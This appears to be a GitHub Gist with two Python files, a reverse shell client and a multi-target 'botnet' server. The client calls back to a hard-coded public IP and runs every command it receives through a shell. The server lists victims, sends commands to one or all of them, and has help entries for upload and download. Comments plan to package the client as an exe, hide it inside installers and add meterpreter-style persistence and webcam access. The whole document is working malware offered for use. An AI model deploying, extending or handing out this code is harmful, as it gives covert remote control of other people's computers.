Last active
October 28, 2020 20:41
-
-
Save wildonion/6d9b7058fa4e8fd8ac0caa71eb5108a7 to your computer and use it in GitHub Desktop.
WOruttle __ simple reverse shell backdoor using socket
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # REF: https://msdn.microsoft.com/en-us/library/windows/desktop/aa384006(v=vs.85).aspx | |
| # REF: https://www.youtube.com/watch?v=8GVumPe57o4 | |
| # REF: http://www.pyinstaller.org/ | |
| # WARNING: for schedule n_minutes get help from Python_Reverse_TCP folder codes | |
| # TODO: convert client.py to base64 encdoe and exe file(using pyinstaller) -> above REF + pyherion.py file | |
| # TODO: inject exe file into any installaion package -> above youtube REF | |
| # TODO: schedule n_minutes in which forces victim to try to connect to attacker every n_minutes -> it's a meterpreter feature(persistence backdoor); alsoe see its REF | |
| # TODO: use argparser or sys.argv[] to get the ip and port from commandline if you want to use it with ngrok | |
| # TODO: test it with ngrok tcp protocol | |
| #XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | |
| # SIMPLE TCP REVERSE SHELL - CLIENT | |
| #XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | |
| import os | |
| import socket | |
| import subprocess | |
| import time | |
| import signal | |
| import sys | |
| import struct | |
| class Client(object): | |
| def __init__(self): | |
| # self.serverHost = '192.168.8.100' | |
| self.serverHost = '52.14.61.47' # ngrok public ip or attacker public ip | |
| self.serverPort = # ngrok tcp port; forwarding port to your localhost or outgoing port opened by attacker | |
| self.socket = None | |
| def register_signal_handler(self): | |
| signal.signal(signal.SIGINT, self.quit_gracefully) | |
| signal.signal(signal.SIGTERM, self.quit_gracefully) | |
| return | |
| def quit_gracefully(self, signal=None, frame=None): | |
| print('\nQuitting gracefully') | |
| if self.socket: | |
| try: | |
| self.socket.shutdown(2) | |
| self.socket.close() | |
| except Exception as e: | |
| print('[-] Could not close connection %s' % str(e)) | |
| # continue | |
| sys.exit(0) | |
| return | |
| def socket_create(self): | |
| """ Create a socket """ | |
| try: | |
| self.socket = socket.socket() | |
| except socket.error as e: | |
| print("[-] Socket creation error" + str(e)) | |
| return | |
| return | |
| def socket_connect(self): | |
| """ Connect to a remote socket """ | |
| try: | |
| self.socket.connect((self.serverHost, self.serverPort)) | |
| except socket.error as e: | |
| print("[-] Socket connection error: " + str(e)) | |
| time.sleep(5) | |
| raise | |
| try: | |
| self.socket.send(str.encode(socket.gethostname())) | |
| except socket.error as e: | |
| print("[-] Cannot send hostname to server: " + str(e)) | |
| raise | |
| return | |
| def print_output(self, output_str): | |
| """ Prints command output """ | |
| sent_message = str.encode(output_str + str(os.getcwd()) + '> ') | |
| self.socket.send(struct.pack('>I', len(sent_message)) + sent_message) | |
| print(output_str) | |
| return | |
| def receive_commands(self): | |
| """ Receive commands from remote server and run on local machine """ | |
| try: | |
| self.socket.recv(10) | |
| except Exception as e: | |
| print('[-] Could not start communication with server: %s\n' %str(e)) | |
| return | |
| cwd = str.encode(str(os.getcwd()) + '> ') | |
| self.socket.send(struct.pack('>I', len(cwd)) + cwd) | |
| while True: | |
| output_str = None | |
| data = self.socket.recv(20480) | |
| if data == b'': break | |
| elif data[:2].decode("utf-8") == 'cd': | |
| directory = data[3:].decode("utf-8") | |
| try: | |
| os.chdir(directory.strip()) | |
| except Exception as e: | |
| output_str = "[-] Could not change directory: %s\n" %str(e) | |
| else: | |
| output_str = "" | |
| elif data[:].decode("utf-8") == 'quit': | |
| self.socket.close() | |
| break | |
| elif len(data) > 0: | |
| try: | |
| cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, | |
| stderr=subprocess.PIPE, stdin=subprocess.PIPE) | |
| output_bytes = cmd.stdout.read() + cmd.stderr.read() | |
| output_str = output_bytes.decode("utf-8", errors="replace") | |
| except Exception as e: | |
| # TODO: Error description is lost | |
| output_str = "[-] Command execution unsuccessful: %s\n" %str(e) | |
| if output_str is not None: | |
| try: | |
| self.print_output(output_str) | |
| except Exception as e: | |
| print('[-] Cannot send command output: %s' %str(e)) | |
| self.socket.close() | |
| return | |
| def main(): | |
| client = Client() | |
| client.register_signal_handler() | |
| client.socket_create() | |
| while True: | |
| try: | |
| client.socket_connect() | |
| except Exception as e: | |
| print("[-] Error on socket connections: %s" %str(e)) | |
| time.sleep(5) | |
| else: | |
| break | |
| try: | |
| client.receive_commands() | |
| except Exception as e: | |
| print('[-] Error in main: ' + str(e)) | |
| client.socket.close() | |
| return | |
| if __name__ == '__main__': | |
| while True: | |
| main() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # NOTE: you can use other listeners like msf or netcat instead of using this script | |
| # REF: https://github.com/zakybstrd21215/pembelajaran-python-untuk-hacking/tree/master/src | |
| # REF: https://github.com/zakybstrd21215/pembelajaran-python-untuk-hacking/blob/master/src/Downloading-Data-tcp-shell-client.py | |
| # REF: https://github.com/zakybstrd21215/pembelajaran-python-untuk-hacking/blob/master/src/Downloading-Data-TCP-Shell-Server.py | |
| # REF: https://msdn.microsoft.com/en-us/library/windows/desktop/aa384006(v=vs.85).aspx | |
| # WARNING: for schedule n_minutes get help from Python_Reverse_TCP folder codes | |
| # TODO: schedule n_minutes in which forces victim to try to connect to attacker every n_minutes -> it's a meterpreter feature(persistence backdoor); alsoe see its REF | |
| # TODO: add all meterpreter features like downloading data, starting webcam -> see above github REF | |
| # TODO: use argparser or sys.argv[] to get the ip and port from commandline if you want to use it with ngrok | |
| # TODO: test it with ngrok tcp protocol | |
| # NOTE: this project is a botnet | |
| #XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | |
| # SIMPLE TCP REVERSE SHELL - SERVER | |
| #XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | |
| import socket | |
| import threading | |
| import time | |
| import sys | |
| from queue import Queue | |
| import struct | |
| import signal | |
| NUMBER_OF_THREADS = 2 | |
| JOB_NUMBER = [1, 2] | |
| queue = Queue() | |
| COMMANDS = {'help':['Shows this help'], | |
| 'sessions':['Lists connected targets'], | |
| 'use':['Selects a target by its index. Takes index as a parameter'], | |
| 'download':['Download a file from target server'], | |
| 'upload':['Upload a file into target server'], | |
| 'quit':['Stops current connection with a client. To be used when client is selected'], | |
| 'shutdown':['Shuts server down'], | |
| } | |
| class MultiServer(object): | |
| def __init__(self): | |
| self.host = '127.0.0.1' # localhost ip | |
| self.port = 8234 # incomming port; listen to any connection from target | |
| self.socket = None | |
| self.all_connections = [] | |
| self.all_addresses = [] | |
| def botnet(self, comd): | |
| target = 0 | |
| for vic in self.all_connections: | |
| if vic is not None: | |
| self.send_target_commands(target, vic, comd) | |
| print("[*] M4s73ring Sl4v3 [ {0} ]").format(target) | |
| target = target + 1 | |
| def print_help(self): | |
| for cmd, v in COMMANDS.items(): | |
| print("{0}:\t{1}".format(cmd, v[0])) | |
| return | |
| def register_signal_handler(self): | |
| signal.signal(signal.SIGINT, self.quit_gracefully) | |
| signal.signal(signal.SIGTERM, self.quit_gracefully) | |
| return | |
| def quit_gracefully(self, signal=None, frame=None): | |
| print('\n[+] Crying gracefully') | |
| for conn in self.all_connections: | |
| try: | |
| conn.shutdown(2) | |
| conn.close() | |
| except Exception as e: | |
| print('[-] Could not close connection %s' % str(e)) | |
| # continue | |
| self.socket.close() | |
| sys.exit(0) | |
| def socket_create(self): | |
| try: | |
| self.socket = socket.socket() | |
| except socket.error as msg: | |
| print("[-] Socket creation error: " + str(msg)) | |
| # TODO: Added exit | |
| sys.exit(1) | |
| self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
| return | |
| def socket_bind(self): | |
| """ Bind socket to port and wait for connection from client """ | |
| try: | |
| self.socket.bind((self.host, self.port)) | |
| self.socket.listen(5) | |
| except socket.error as e: | |
| print("[-] Socket binding error: " + str(e)) | |
| time.sleep(5) | |
| self.socket_bind() | |
| return | |
| def accept_connections(self): | |
| """ Accept connections from multiple clients and save to list """ | |
| for c in self.all_connections: | |
| c.close() | |
| self.all_connections = [] | |
| self.all_addresses = [] | |
| while 1: | |
| try: | |
| conn, address = self.socket.accept() | |
| conn.setblocking(1) | |
| client_hostname = conn.recv(1024).decode("utf-8") | |
| address = address + (client_hostname,) | |
| except Exception as e: | |
| print('[-] Error accepting connections: %s' % str(e)) | |
| # Loop indefinitely | |
| continue | |
| self.all_connections.append(conn) | |
| self.all_addresses.append(address) | |
| print('\n[+] Connection has been established: {0} (▀▀▀▀▀▀▀▀▀▀▀{1}:{2}▀▀▀▀▀▀▀▀▀▀▀)'.format(address[-1], address[0], address[1])) | |
| return | |
| def start_vocfu(self): | |
| """ Interactive prompt for sending commands remotely """ | |
| while True: | |
| cmd = input('vocfu> ') | |
| if cmd == 'sessions': | |
| self.list_connections() | |
| continue | |
| elif 'use' in cmd: | |
| target, conn = self.get_target(cmd) | |
| if conn is not None: | |
| self.send_target_commands(target, conn) | |
| elif cmd == 'shutdown': | |
| queue.task_done() | |
| queue.task_done() | |
| print('[+] Server shutdown') | |
| break | |
| # self.quit_gracefully() | |
| elif cmd == 'help': | |
| self.print_help() | |
| elif cmd == '': | |
| pass | |
| elif cmd == 'zbs': | |
| print("[+] b07n37 c0mm4nD >> ") | |
| comd = input() | |
| self.botnet(comd) | |
| else: | |
| print('[!] Command not recognized') | |
| return | |
| def list_connections(self): | |
| """ List all connections """ | |
| results = '' | |
| for i, conn in enumerate(self.all_connections): | |
| try: | |
| conn.send(str.encode(' ')) | |
| conn.recv(20480) | |
| except: | |
| del self.all_connections[i] | |
| del self.all_addresses[i] | |
| continue | |
| results += str(i) + ' ' + str(self.all_addresses[i][0]) + ' ' + str( | |
| self.all_addresses[i][1]) + ' ' + str(self.all_addresses[i][2]) + '\n' | |
| print('----- TARGETS -----' + '\n' + results) | |
| return | |
| def get_target(self, cmd): | |
| """ Select target client | |
| :param cmd: | |
| """ | |
| target = cmd.split(' ')[-1] | |
| try: | |
| target = int(target) | |
| except: | |
| print('[-] Client index should be an integer') | |
| return None, None | |
| try: | |
| conn = self.all_connections[target] # now we can interact with this vic! | |
| except IndexError: | |
| print('[-] Not a valid selection') | |
| return None, None | |
| print("[+] You are now connected to " + str(self.all_addresses[target][2])) | |
| return target, conn | |
| def read_command_output(self, conn): | |
| """ Read message length and unpack it into an integer | |
| :param conn: | |
| """ | |
| raw_msglen = self.recvall(conn, 4) | |
| if not raw_msglen: | |
| return None | |
| msglen = struct.unpack('>I', raw_msglen)[0] | |
| # Read the message data | |
| return self.recvall(conn, msglen) | |
| def recvall(self, conn, n): | |
| """ Helper function to recv n bytes or return None if EOF is hit | |
| :param n: | |
| :param conn: | |
| """ | |
| # TODO: this can be a static method | |
| data = b'' | |
| while len(data) < n: | |
| packet = conn.recv(n - len(data)) | |
| if not packet: | |
| return None | |
| data += packet | |
| return data | |
| def send_target_commands(self, target, conn, comd=None): | |
| """ Connect with remote target client | |
| :param conn: | |
| :param target: | |
| """ | |
| try: | |
| conn.send(str.encode(" ")) | |
| cwd_bytes = self.read_command_output(conn) | |
| cwd = str(cwd_bytes, "utf-8") | |
| print(cwd, end="") | |
| except Exception as e: | |
| print("[-] Broken pipe!") | |
| pass | |
| while True: | |
| try: | |
| if comd is not None: | |
| cmd = comd | |
| if comd == None: | |
| cmd = input() | |
| if len(str.encode(cmd)) > 0: | |
| conn.send(str.encode(cmd)) | |
| cmd_output = self.read_command_output(conn) | |
| client_response = str(cmd_output, "utf-8") | |
| print(client_response, end="") | |
| if cmd == 'quit': | |
| break | |
| except Exception as e: | |
| print("[-] Connection was lost %s" %str(e)) | |
| break | |
| del self.all_connections[target] | |
| del self.all_addresses[target] | |
| return | |
| def create_workers(): | |
| """ Create worker threads (will die when main exits) """ | |
| server = MultiServer() | |
| server.register_signal_handler() | |
| for _ in range(NUMBER_OF_THREADS): | |
| t = threading.Thread(target=work, args=(server,)) | |
| t.daemon = True | |
| t.start() | |
| return | |
| def work(server): | |
| """ Do the next job in the queue (thread for handling connections, another for sending commands) | |
| :param server: | |
| """ | |
| while True: | |
| x = queue.get() | |
| if x == 1: | |
| server.socket_create() | |
| server.socket_bind() | |
| server.accept_connections() | |
| if x == 2: | |
| server.start_vocfu() | |
| queue.task_done() | |
| return | |
| def create_jobs(): | |
| """ Each list item is a new job """ | |
| for x in JOB_NUMBER: | |
| queue.put(x) | |
| queue.join() | |
| return | |
| def main(): | |
| create_workers() | |
| create_jobs() | |
| if __name__ == '__main__': | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment